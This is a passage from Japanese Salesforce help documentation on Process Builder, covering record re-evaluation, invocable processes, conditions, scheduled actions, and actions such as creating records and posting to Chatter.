– レコードが最初に作成されたとき、プロセストランザクション全体を通して ISNEW は true と評価されま

す。プロセスが ISNEW 数式関数を使用し、1 つのトランザクションで複数回レコードを再評価する場合、
プロセスがアクションを複数回実行する可能性があります。
たとえば、取引先が作成または更新されたかどうかをプロセスがチェックするとします。
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ISNEW が true と評価されると、プロセスは取引先の年間収益を更新し、Chatter に投稿します。1.

2. プロセスが取引先の年間収益を更新すると、レコードが変更されたため、プロセスはレコードを再
評価します (追加回数は 5 回まで)。

条件が評価されると、毎回 ISNEW は true と評価されます。その結果、6 回 Chatter 投稿が行われます。こ
の例は、取引先レコードが作成されたためにプロセスがトリガされた場合にのみ当てはまります。

– レコードが作成されると、PRIORVALUE は現在の値を前の値として返します。レコードが更新されると、
PRIORVALUE はトランザクションが開始する直前に設定されていた項目値を返します。プロセスが PRIORVALUE

数式関数を使用し、1 つのトランザクションで複数回レコードを再評価する場合、プロセスがアクショ
ンを複数回実行する可能性があります。プロセスが 1 つのトランザクションで複数回レコードを再評価
し、指定された条件が変化した場合にのみアクションを実行する場合、PRIORVALUE は、レコードが保存
される前に存在した値を返します。
たとえば、取引先が作成または更新されたかどうかをプロセスがチェックするとします。
1. PRIORVALUE([Account].Type) = '見込み客'が true と評価されると、プロセスは取引先の年間収

益を更新し、Chatter に投稿します。
2. 取引先種別「見込み客」で取引先が作成されると、プロセストランザクションの終了まで条件は常

に true になります。
3. 条件が true のときに、プロセスが変更されて取引先種別が「その他」に更新された場合、取引先種別

「見込み客」で作成された取引先に対し、数式 PRIORVALUE([Account].Type) = '見込み客' は
プロセストランザクションの終了まで true になります。

レコードが再評価されるたびに、取引先の種別の前の値は「見込み客」になります。その結果、6 回
Chatter 投稿が行われます。

– ISCHANGED は、レコードが最初に作成されたときは常に false と評価されます。
たとえば、取引先の説明が変更されたかどうかをプロセスがチェックし
(ISCHANGED([Account].Description))、さらに 1 つのトランザクションでレコードを複数回再評価
するとします。取引先は最初に空白の説明値で作成され、別のプロセスが同じトランザクション内で取
引先の説明を更新した場合、ISCHANGED では、レコードが最初に作成されたときの取引先の説明値 (空白)

を現在の値の設定と比較するため、レコードが再評価されると毎回 true と評価されます。
ISCHANGED([Account].Description) が true と評価されるたびに、この同じプロセスでChatter投稿を作成すると
します。トランザクション全体を通して ISCHANGED は true と評価されるため、このプロセスは再帰的な
ループを作成し、6 回 Chatter 投稿が行われます。
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プロセスビルダーでのレコードの再評価

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

オブジェクトをプロセスに追加するとき、1 つのトランザクションでレコードを
複数回評価するかどうかを選択できます。
これは、全方向一時停止の十字路ではなくラウンドアバウトを使用してプロセ
ストラフィックを制御するようなものです。レコードの再評価では、停止して
別個のトランザクションを待機するのではなく、ビジネストラフィックがもう
少し自由に流れます。
このオプションを選択すると、1 つのトランザクションで同じレコードを最大 5

回まで追加評価できます。プロセス、ワークフロールール、フローでは同じト
ランザクションでレコードが更新されるため、レコードが再評価されることが
あります。レコードが再評価されると、プロセスはそのレコードの最新値を使
用します。
たとえば、セールスレビュープロセスに、更新する必要があるステップ、承認、
通知、項目が複数含まれているとします。いくつかの変更は、プロセスの一部であったり、組織の他のワーク
フロールールやフローで管理されたりすることがあります。1 つのトランザクションでレコードを複数回再評
価することをプロセスビルダーで許可すると、これらのすべての変更 (他のプロセスによる変更も含む) をプロ
セスの 1 回のトランザクションで管理および評価できます。

関連トピック:

プロセスビルダーの詳細なオプションに関する考慮事項

プロセスビルダーのネストプロセス

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

呼び出し可能なプロセスを使用すると、プロセスのセクションをモジュール化
し、ロジックを追加できます。呼び出し可能なプロセスは、このプロセスを別
のプロセスが呼び出すと開始されるプロセスです。プロセスが呼び出し可能か
どうかは、プロセスのプロパティの [プロセスを開始するタイミング] によって
制御されます。
プロセスを別のプロセスから呼び出すには、[プロセス] アクションを設定しま
す。この設定では、呼び出し可能なプロセスにレコードを渡します。これによ
り、どのレコードで開始すべきかをプロセスが把握します。レコードがあるプ
ロセスから別のプロセスに渡されるため、呼び出し可能なプロセスはそのレコー
ドの特定バージョンを受信します。このバージョンは、[プロセス] アクションが
実行される時期によって異なります。
ルール適用時のアクション

ルール適用時のアクションを使用してプロセスを呼び出すと、最上位プロセスの開始時にレコードに含ま
れていた値がプロセスによって受信されます。
例: プロセス 1 は取引先を更新し、その取引先に基づいてプロセス 2 を呼び出します。プロセス 2 は、プロ
セス 1 が開始されると取引先のバージョンを受信します。

スケジュール済みアクション
スケジュール済みアクションを使用してプロセスを呼び出すと、レコードの最新の値がプロセスによって
受信されます。
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例: プロセス 1 は取引先を更新し、15 分後にその取引先に基づいてプロセス 2 を呼び出します。プロセス 2

は、データベースから取引先の最新バージョンを受信します。

呼び出し可能なプロセスを作成する必要がある状況は?

複数のアクショングループにまったく同じアクションを作成していることに気が付きましたか。これらのアク
ションを呼び出し可能なプロセスに一度設定し、関連するすべてのアクショングループからそのプロセスを呼
び出します。その後、これらのアクションを更新するには、1 つの呼び出し可能なプロセスを更新します。こ
れにより、更新したアクションがその他すべてのプロセスで使用されます。
呼び出し可能なプロセスのもう 1 つの便利なシナリオとして、単純なロジックのネストがあります。プロセス
は単純な「if/then」ステートメントを処理します。ただし、これらのステートメントの一部をネストする必要
がある場合はどうすればよいでしょうか。フロー作成またはコード記述ではなく、第 2 レベルのロジックを別
のプロセスに組み込みます。最初のプロセスから 2 番目のプロセスを呼び出せば完了です。

例: 1 つのプロセスですべてのケース管理を処理するとします。ただし、通常の取引先用にエスカレーショ
ンされたケースとは異なり、高収益の取引先用にエスカレーションされたケースを処理する必要があり
ます。更新日が 1 か月以内の取引先によってケースがエスカレーションされた場合、取引先所有者、地域
マネージャ、およびその地域の統括責任者に通知します。更新日が 1 か月より先の取引先によってケース
がエスカレーションされた場合は、取引先所有者および地域マネージャにのみ通知します。
これを行うには、呼び出し可能なプロセスを作成します。このプロセスの名前を「Escalated Cases」(エスカ
レーション済みケース) とします。このプロセスはケースオブジェクトで動作し、2 つの条件ノードがあ
ります。
• 最初の条件ノードは、関連付けられた取引先の更新日が 1 か月以内かどうかを評価します。条件をケー

スが満たすと、プロセスはケースへのリンクを使用して取引先のフィードに投稿し、取引先所有者、
地域マネージャ、および地域統括責任者にメンションします。

• 2 番目の条件ノードには条件がありません。ケースが最初のノードの条件満たさない場合も、プロセ
スは地域統括責任者にメンションしないことを除いて同じアクションを実行します。

では、ケース管理を自動化するプロセスに話しを戻しましょう。ケースがエスカレーションされたかど
うかをチェックする条件ノードはすでに用意されています。その条件のアクショングループに [プロセス]

アクションを追加し、「Escalated Cases」プロセスを呼び出すようにアクションを設定します。

プロセスでの不要なアクションの回避

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスに条件を追加するとき、指定された条件が変化した場合にのみアクショ
ンを実行するように選択できます。
たとえば、プロセスで、ケースが [エスカレーション済み] 状況になったら常に
メールアラートを送信します。サポートチームが、新しい情報でケースの説明
を繰り返し更新しているとします。新しい説明と一緒にケースが保存されたと
きは常に、プロセスは、繰り返しメールアラートを送信するだけではなく、特
に [エスカレーション済み] 状況が変わったかどうかをチェックできます。この
ように、プロセスは、[エスカレーション済み] に設定されていなかった状況が
[エスカレーション済み] に変更された場合にのみアクションを実行します。
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ヒント: このオプションについての詳細は、こちらの短い動画 「プロセスでの不要なアクションの回
避」を参照してください。

この設定は、次の場合にはサポートされません。
• レコードが作成されたときにのみプロセスが開始する。
• レコードが作成または編集されたときにプロセスが開始し、条件ノードで条件を評価しない。
• 条件ノードで数式は評価するが、プロセスを開始したレコードへの参照が数式に含まれていない。
• プロセスの絞り込み条件で [変更済み] 演算子が使用されている。

アクションが実行されない場合アクションが実行される場合[はい] の
状態

選択済み • レコードの現在の値は条件を満たしており、
レコードの直前の値も条件を満たしている。

• レコードが作成された。
• レコードが更新された。現在の値は条件を満

たしており、直前の値は条件を満たしていな
い。

• レコードの現在の値が条件を満たしていな
い。

レコードの現在の値が条件を満たしていない。選択解除
済み

• レコードが作成された。
• レコードが更新され、現在の値が条件を満た

している。

関連トピック:

プロセスビルダーの詳細なオプションに関する考慮事項
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プロセスの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

プロセスを作成するには、そのプロパティおよび評価するレコードを定義し、
条件ノードとアクションを追加します。

1. プロセスのプロパティの定義
プロセスを一意に識別して管理できるように、プロセスのプロパティを定義
します。

2. 評価するレコードの特定
プロセスをオブジェクトに関連付け、プロセスの開始時期を指定します。

3. プロセス条件の追加
関連付けられたアクションをプロセスで実行する前に、true となるべき条件
を定義します。

4. プロセスへのアクションの追加
条件ノードを定義したら、条件が一致したときに実行されるアクションを定
義します。

5. 複数の条件でのアクション実行
特定の条件が満たされ、関連付けられたアクションを実行した後で、プロセ
スを停止するか継続するかを選択します。
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プロセスのプロパティの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

プロセスを一意に識別して管理できるように、プロセスのプロパティを定義し
ます。
1. [設定] から、[クイック検索] ボックスに「プロセスビルダー」と入力し、[プ

ロセスビルダー] を選択して [新規] をクリックします。
また、プロセスの新しい無効なコピーを作成して、既存の有効なプロセスを
変更することもできます。新しいプロセスまたは現在のプロセスの新しい
バージョンのどちらでもコピーを作成できます。

2. 次の項目に入力して、プロセスを定義します。

説明項目

プロセスの名前。[プロセス名] は 255 文字以下にする必要が
あります。
この名前は、プロセス管理ページ ([設定] から、[クイック検索]

ボックスに「プロセスビルダー」と入力し、[プロセスビルダー]

を選択) に表示されるため、他のプロセスから区別できるよう
な名前を付けてください。

プロセス名

API および管理パッケージで使用される名前。[API 参照名]

は 79 文字以下にする必要があります。
この名前は、すべてのプロセスおよびフローで一意である必
要があります (フローでは、この項目が [一意の名前] になり

API 参照名

ます)。名前は文字で始まり、英数字とアンダースコアのみを
使用する必要があります。スペースは使用しない、最後にア
ンダースコアを使用しない、2 つ続けてアンダースコアを使用
しないという制約があります。
[API 参照名]を保存すると、プロセス用に変更できなくなり
ます。

省略可能。プロセスの説明。
この説明はプロセス管理ページにも表示されます。プロセス
の動作の理解など、プロセスを区別できることを目的として
います。

説明

プロセスの開始時期を識別します。次の場合に開始されるよ
うにプロセスを設定できます。

プロセスを
開始するタ
イミング • レコードが変更されたとき

• 別のプロセスから呼び出されたとき

3. [保存] をクリックします。
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評価するレコードの特定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

プロセスをオブジェクトに関連付け、プロセスの開始時期を指定します。
1. [オブジェクトを追加] をクリックします。
2. [オブジェクト]で、このプロセスの基本となるオブジェクトを選択します。

[オブジェクトを検索...] をクリックしてドロップダウンリストを開き、入力
してリストを絞り込みます。
このパネルを保存すると、選択したオブジェクトを変更できなくなります。

3. プロセスの開始時期を選択します。

選択次の操作が行われるたびにプロセスを開始する場合

レコードを作
成したときの
み

指定されたオブジェクト種別のレコードが作成されたが更新
されていない。

レコードを作
成または編集
したとき

指定されたオブジェクト種別のレコードが作成または更新さ
れた。

メモ: ワークフロールールに慣れており、3 つ目のオプション ([作成され
たとき、およびその後基準を満たすように編集されたとき]) がないこと
を疑問に思うかもしれませんが、心配ありません。ここで [レコードを
作成または編集したとき] を選択すると、条件ノードを追加するときに
その設定が表示されます。

4. プロセスが 1 回のトランザクションでレコードを複数回評価するかどうかを選択するには、[詳細]領域を展
開します。
[はい] を選択すると、1 回のトランザクションで同じレコードを最大 5 回まで追加評価できます。プロセ
ス、ワークフロールール、フローでは同じトランザクションでレコードが更新されるため、レコードが再
評価されることがあります。詳細は、「プロセスビルダーでのレコードの再評価」 (ページ5636)を参照して
ください。

5. [保存] をクリックします
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プロセス条件の追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

関連付けられたアクションをプロセスで実行する前に、true となるべき条件を定
義します。
条件が一致すると、関連付けられたアクショングループがプロセスで実行され
ます。条件が一致しないと、アクショングループがスキップされ、次のアクショ
ングループの条件が評価されます。
1. [条件を追加] をクリックします。
2. この条件ノードに名前を入力します。

名前はキャンバスに表示されるため、他の条件ノードと区別しやすい名前を
使用します。

3. 定義する必要がある条件の種別を選択します。この選択内容によって、後で
ダイアログボックスに表示される項目が決まります。

選択必要な操作

条件を満たし
ている

レコードに特定の項目値を設定する。
たとえば、金額が $5,000 を超える商談レコードで関連する
アクションを実行するには、条件を次のように設定します。
[Opportunity].Amount greater than $5000.00

数式の評価が
true になる

数式を使用してレコードを評価する。
たとえば、所有者以外のユーザが取引先を変更したときに
年間売上が $1,000,000 を超える取引先で関連するアクション
を実行するには、次の数式を使用します。
AND (([Account].LastModifiedBy.Id <>
[Account].Owner.Id) , ([Account].AnnualRevenue
> 1000000) )

アクションを
実行する条件
がない

レコードを評価せずに関連するアクションの実行を簡略化
する。
プロセスでは、この条件ノードに関連付けられたすべての
アクションが実行され、別途指定がない限り、プロセス内
の残りの条件ノードは評価されません。これらのアクショ
ンの実行後にプロセスを停止することを選択する場合は、
プロセスの最終条件ノードにのみこのオプションを選択す
ることをお勧めします。

4. [条件を満たしている] を選択した場合は、次の操作を実行します。
a. プロセスで評価する必要がある項目値を特定することで、絞り込み条件を定義します。
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値を評価する項目を選択します。また、プロセスを開始した項目に関連するレコードの値
を評価することもできます。これを行うには、ID 項目の横に が表示された関連レコー
ドをクリックします。
たとえば、取引先責任者レコードがプロセスを開始した場合、取引先責任者の取引先の
[年間売上] 項目値を評価できます。その項目にアクセスするには、[取引先 ID] をク
リックし、[年間売上] を選択して、[選択] をクリックします。

項目

使用可能な演算子は、項目のデータ型によって異なります。演算子

使用可能な値の型は、項目のデータ型によって異なります。型

項目を評価する値を特定します。詳細は、「プロセスビルダーでの値の設定」 (ページ5630)

を参照してください。
値

b. [条件] では、プロセスで関連アクションを実行するために true となるべき条件を特定します。
カスタムロジックの使用を選択した場合は、次を使用したテキスト文字列を入力します。
• 各条件を参照する数値
• すべての条件が true となる必要があるのか、いずれか 1 つの条件が true であれば十分なのかを示す

AND または OR

• 文字列の一部をグループ化するための括弧
たとえば、「1 AND (2 OR 3)」と入力すると、最初の条件が true で、2 つ目または 3 つ目の条件が true の場
合に true と評価されます。フローの制限により、条件ロジックテキストの最大長は 1000 文字です。

メモ: 括弧で区切られたあいまいなロジックでは検証エラーが発生しない可能性があります。次に
例を示します。
• 1 AND 2 OR 3 はエラーになる
• 1 AND (2 AND 3) OR 4 はエラーにならない
予期しない結果が生じる可能性があるため、文字列の一部をグループ化するときにあいまいなカス
タムロジックを作成しないようにしてください。

5. [数式の評価が true になる] を選択した場合は、数式を定義します。
6. 必要に応じて、レコードが作成または編集されて条件を満たすようになった場合にのみアクションを実行

するかどうかを指定するには、パネル下部で [詳細] をクリックします。
詳細は、「プロセスでの不要なアクションの回避」 (ページ 5637)を参照してください。

メモ: この設定は、レコードが作成または編集されたときにプロセスが開始し、[絞り込み条件を満た
している] または [数式の評価が true になる] を選択した場合にのみ使用できます。

7. [保存] をクリックします。

関連トピック:

複数の条件でのアクション実行
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プロセスへのアクションの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

条件ノードを定義したら、条件が一致したときに実行されるアクションを定義
します。
アクショングループは、ルール適用時のアクションとスケジュール済みアクショ
ンの組み合わせで構成されます。ルール適用時のアクションは、評価条件が一
致すると実行されます。スケジュール済みアクションは、指定の時間に実行さ
れます。たとえば、指定された完了予定日の 10 日前になってもまだ重要商談が
進行中の場合に、Salesforce から取引先チームにメールリマインダーを自動的に
送信できます。
作業を開始する前に、このアクションをすぐに実行するのか、特定の時間に実
行するかを検討します。アクションを特定の時間に実行する場合は、アクショ
ンの実行時期を特定します。
1. [アクションを追加] をクリックします。
2. 作成するアクションの種別を選択し、アクションの定義項目を入力します。

プロセスからのレコードの作成
手動で値を入力するか、関連レコードの値を使用して、レコードを作成しま
す。
別のプロセスからのプロセスの呼び出し
プロセスを別のプロセスから呼び出します。呼び出し可能なプロセスでは、
反復作業に時間を取られないように再利用することもできます。
プロセスからの Chatter 投稿の作成
ユーザ、Chatter グループ、またはプロセスを開始したレコードのフィードに投稿します。
プロセスからのクイックアクションの使用
組織でユーザまたは他のシステム管理者が作成したクイックアクションを使用して、レコードの作成、レ
コードの更新、活動の記録を行います。
プロセスからのフローの起動
プロセスから自動起動フローを開始して、コードを記述せずに複雑なビジネスプロセス (ロジックを実行す
るフローを作成し、イベントからプロセス経由でこのフローをトリガする) を自動化します。
プロセスからのメールの送信
メールアラートを使用して、プロセスからメールを簡単に送信します。メールアラートはプロセスビルダー
外で設定され、メールの標準テキスト、受信者リスト、テンプレートが含まれます。
プロセスからのレコードの承認申請
プロセスを開始したレコードを承認申請します。
プロセスからのレコードの更新
値を手動で入力するか、関連レコードの値を使用して、プロセスを開始したレコードに関係する 1 つ以上
のレコードを更新します。
プロセスからの Apex コードのコール
プロセスから Apex をコールして、カスタマイズされた機能をプロセスに追加します。
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アクションの実行時期の指定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

一部のアクションを特定の時間に実行する場合は、まずアクションのスケジュー
ルを定義します。

メモ: スケジュール済みアクションは複雑な機能です。詳細は、「プロセ
スのスケジュール済みアクションに関する考慮事項」を参照してください。

スケジュール済みアクションをサポートする各アクショングループには、複数
のスケジュールを設定できます。たとえば、一部のアクションを今から 1 日後
に実行し、他のアクションを今から 3 日後に実行するようなスケジュールを設
定できます。
アクショングループのスケジュール済みアクションの実行時期を特定する手順
は、次のとおりです。
1. スケジュール済みアクションをサポートするアクショングループで、[スケ

ジュールを設定] をクリックします。
2. プロセスを開始するレコードの日付/時間項目に基づいてアクションをスケ

ジュールする必要がある場合は、次の操作を実行します。
a. 最初のラジオボタンを選択したままにします。
b. パネルの右側にあるドロップダウンリストをクリックし、アクションの

スケジュール設定に使用する日付を選択します。
たとえば、プロセスが取引先レコードに基づいている場合、取引先の [作
成日] を選択します。

c. 項目の前後に日数または時間数を指定します。
この時間になったときに、このアクショングループの条件がまだ満たされていれば、スケジュール済み
アクションが実行されます。

3. プロセスの実行時期から特定の日数または時間数が経過した時点でアクションを実行するようにスケジュー
ルする必要がある場合は、次の操作を実行します。
a. 2 番目のラジオボタンを選択します。
b. プロセスの実行時期からの日数または時間数を指定します。

この時間になったときに、このアクショングループの条件がまだ満たされていれば、スケジュール済み
アクションが実行されます。

4. [保存] をクリックします。
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プロセスからのレコードの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

手動で値を入力するか、関連レコードの値を使用して、レコードを作成します。
アクションを作成し、種別に [レコードを作成] を選択したら、関連する項目に
入力してアクションをプロセスに追加します。新しいレコードの [作成者]項目
は、レコードを作成または編集することによってプロセスを開始したユーザに
設定されます。

警告: ワークフロールールに置き換わるプロセスを作成する場合は、その
プロセスを有効化する前に必ずワークフロールールを削除してください。
削除や無効化を行わないと、ワークフロールールとプロセスの両方が起動
し、レコードの上書きやメールメッセージの重複など、予期しない結果が
生じることがあります。Apex トリガに置き換わるプロセスを作成する場合
にも、同じ操作を行います。

1. このアクションに名前を入力します。
このテキストはキャンバスに表示され、このアクションをプロセス内の他の
アクションから区別するのに役立ちます。名前は、キャンバスのサイズに合
わせて切り捨てられます。

2. [レコードタイプ] で、レコードを作成するオブジェクトを選択します。ド
ロップダウンリストを絞り込むには、オブジェクトの名前を入力します。
オブジェクトを選択するときには、新しいレコードに項目値を設定できるよ
うに少なくとも 1 行が表示されます。

警告:  API に必要な項目については、行が自動的に表示されます。他の項
目については、値を指定する必要がある場合もあります。組織のページ
レイアウトを参照して、どの項目が必須かを判断することをお勧めしま
す。

3. レコードの項目値を設定します。

値を設定する項目を選択します。ドロップダウンリストを絞り込むには、項目の名前を入力し
ます。

項目

使用する値の型を選択します。使用可能な型は選択した項目によって異なります。種類

テキスト入力項目を使用して項目の値を手動で入力するか、項目ピッカーを使用して関連レコー
ドの項目値を選択して、値を設定します。詳細は、「プロセスビルダーでの値の設定」 (ページ
5630)を参照してください。

値

4. [保存] をクリックします。
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ヒント:

• 取引先レコードを作成するプロセスを設定すると、必須項目として [名前]が表示されます。個人
取引先を作成する場合は、[姓] を項目として追加できますが、デフォルトでは必須項目として表
示されません。[名前] 項目には、ダミーの値を入力できます。

• レコードを作成すると、通常、必須項目がリストの最上部に表示されます。ただし、[レコードを
作成] アクションを保存し、プロセスを終了してからアクションを再度開くと、必須項目が通常の
順序で表示されない場合があります。

別のプロセスからのプロセスの呼び出し

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

プロセスを別のプロセスから呼び出します。呼び出し可能なプロセスでは、反
復作業に時間を取られないように再利用することもできます。
アクションを作成し、種別に [プロセス] を選択したら、関連する項目に入力し
てアクションをプロセスに追加します。
1 つ以上の一意の ID を共有するオブジェクトでプロセスを呼び出すことができ
ます。たとえば、取引先オブジェクトとケースオブジェクトでは、AccountId

項目が取引先に固有で、ケースでも使用されています。ケースレコードを更新
する呼び出し可能なプロセスを作成できます。その後、次のプロセスから呼び
出すことができます。
• 取引先レコードの所有者を更新するプロセス
• 取引先の納入先住所を追加または更新するプロセス
別のプロセスを呼び出すプロセスを作成する場合、各プロセスはプロセスの制
限および他の該当する制限に対してカウントされます。プロセスを呼び出すプ
ロセスの DML 制限は、1 つのトランザクションとしてカウントされます。

警告: ワークフロールールに置き換わるプロセスを作成する場合は、その
プロセスを有効化する前にワークフロールールを削除します。削除や無効
化を行わないと、ワークフロールールとプロセスの両方が起動し、レコー
ドの上書きやメールメッセージの重複など、予期しない結果が生じること
があります。Apex トリガに置き換わるプロセスを作成する場合にも、同じ
操作を行います。

1. このアクションに名前を入力します。
このテキストはキャンバスに表示され、このアクションをプロセス内の他のアクションから区別するのに
役立ちます。名前は、キャンバスのサイズに合わせて切り捨てられます。

2. 呼び出し可能なプロセスを選択します。選択できるのは有効な呼び出し可能プロセスのみです。
3. プロセス変数を選択します。選択できるのは、呼び出すプロセスに関連付けられたオブジェクトに関連す

る項目のみです。
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プロセスからの Chatter 投稿の作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

ユーザ、Chatter グループ、またはプロセスを開始したレコードのフィードに投
稿します。
このアクションは、組織のChatterが有効化されている場合にのみ使用できます。

プロセスからのユーザの Chatter フィードへの投稿
組織のユーザを特定するか、レコードでユーザ参照項目を選択して、ユーザ
のフィードに投稿します。
プロセスからの Chatter グループへの投稿
特定の Chatter グループのフィードに投稿します。
プロセスからのレコードの Chatter フィードへの投稿
プロセスを開始したレコードのフィードに投稿します。

関連トピック:

Chatter の設定
プロセスの Chatter に関する考慮事項
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プロセスからのユーザの Chatter フィードへの投稿

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

組織のユーザを特定するか、レコードでユーザ参照項目を選択して、ユーザの
フィードに投稿します。
アクションを作成し、アクション種別に [Chatter に投稿] を選択したら、関係す
る項目を入力してアクションをプロセスに追加します。フィード項目は、(レコー
ドを作成または編集することによって) プロセスを開始したユーザが投稿したか
のように表示されます。

警告: プロセスが起動されたときに、(ユーザが現在無効になっているなど
の理由で) プロセスで投稿しようとするフィードを使用できない場合は、エ
ラーが表示されプロセスが失敗します。

1. このアクションに名前を入力します。
このテキストはキャンバスに表示され、このアクションをプロセス内の他の
アクションから区別するのに役立ちます。名前は、キャンバスのサイズに合
わせて切り捨てられます。

2. [投稿先] 項目で、[ユーザ] を選択します。
3. [ユーザ] で、ユーザの検索場所を選択します。
4. [ユーザ] の選択内容に基づいて、フィードに投稿するユーザを検索または

参照します。
レコードからユーザを選択する場合は、ユーザ ID を含む項目 ([所有者 ID]

または [ユーザ ID] など) を最終的に選択する必要があります。

5. 投稿するメッセージを入力します。差し込み項目の挿入、トピックの追加、
ユーザまたはグループへのメンションができます。
メッセージには最大 10,000 文字を含めることができます。
参照できるトピックは、すでに存在するトピックのみです。差し込み項目を参照し、その項目に値がない
場合は、空白の値として表示されます。

6. [保存] をクリックします。

関連トピック:

Chatter の設定
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プロセスからの Chatter グループへの投稿

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

特定の Chatter グループのフィードに投稿します。
アクションを作成し、アクション種別に [Chatter に投稿] を選択したら、関係す
る項目を入力してアクションをプロセスに追加します。フィード項目は、(レコー
ドを作成または編集することによって) プロセスを開始したユーザが投稿したか
のように表示されます。

警告: プロセスが起動されたときに、プロセスで投稿しようとするフィー
ドを使用できない場合は、エラーが表示されプロセスが失敗します。

1. このアクションに名前を入力します。
このテキストはキャンバスに表示され、このアクションをプロセス内の他の
アクションから区別するのに役立ちます。名前は、キャンバスのサイズに合
わせて切り捨てられます。

2. [投稿先] 項目で、[Chatter グループ] を選択します。
3. [グループ] で、フィードを投稿する Chatter グループを検索します。
4. 投稿するメッセージを入力します。差し込み項目の挿入、トピックの追加、

ユーザまたはグループへのメンションができます。
メッセージには最大 10,000 文字を含めることができます。
参照できるトピックは、すでに存在するトピックのみです。差し込み項目を
参照し、その項目に値がない場合は、空白の値として表示されます。

5. [保存] をクリックします。

関連トピック:

Chatter の設定
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プロセスからのレコードの Chatter フィードへの投稿

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

プロセスを開始したレコードのフィードに投稿します。
レコードの Chatter フィードに投稿できるのは、プロセスが関連付けられている
オブジェクトでフィード追跡が有効になっている場合のみです。フィード項目
は、(レコードを作成または編集することによって) プロセスを開始したユーザが
投稿したかのように表示されます。
アクションを作成し、アクション種別に [Chatter に投稿] を選択したら、関係す
る項目を入力してアクションをプロセスに追加します。

警告: プロセスが起動されたときに、(ユーザが現在無効になっているなど
の理由で) プロセスで投稿しようとするフィードを使用できない場合は、エ
ラーが表示されプロセスが失敗します。

1. このアクションに名前を入力します。
このテキストはキャンバスに表示され、このアクションをプロセス内の他の
アクションから区別するのに役立ちます。名前は、キャンバスのサイズに合
わせて切り捨てられます。

2. [投稿先] 項目で、[このレコード] を選択します。
3. 投稿するメッセージを入力します。差し込み項目の挿入、トピックの追加、

ユーザまたはグループへのメンションができます。
メッセージには最大 10,000 文字を含めることができます。
参照できるトピックは、すでに存在するトピックのみです。差し込み項目を
参照し、その項目に値がない場合は、空白の値として表示されます。

4. [保存] をクリックします。

関連トピック:

Chatter の設定
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プロセスからのクイックアクションの使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

組織でユーザまたは他のシステム管理者が作成したクイックアクションを使用
して、レコードの作成、レコードの更新、活動の記録を行います。
クイックアクションには、オブジェクト固有のアクションまたはグローバルア
クションを指定できます。[作成]、[更新]、および [活動の記録] アクションのみ
がサポートされています。クイックアクションをプロセスから使用するには、
アクションが組織に存在している必要があります。
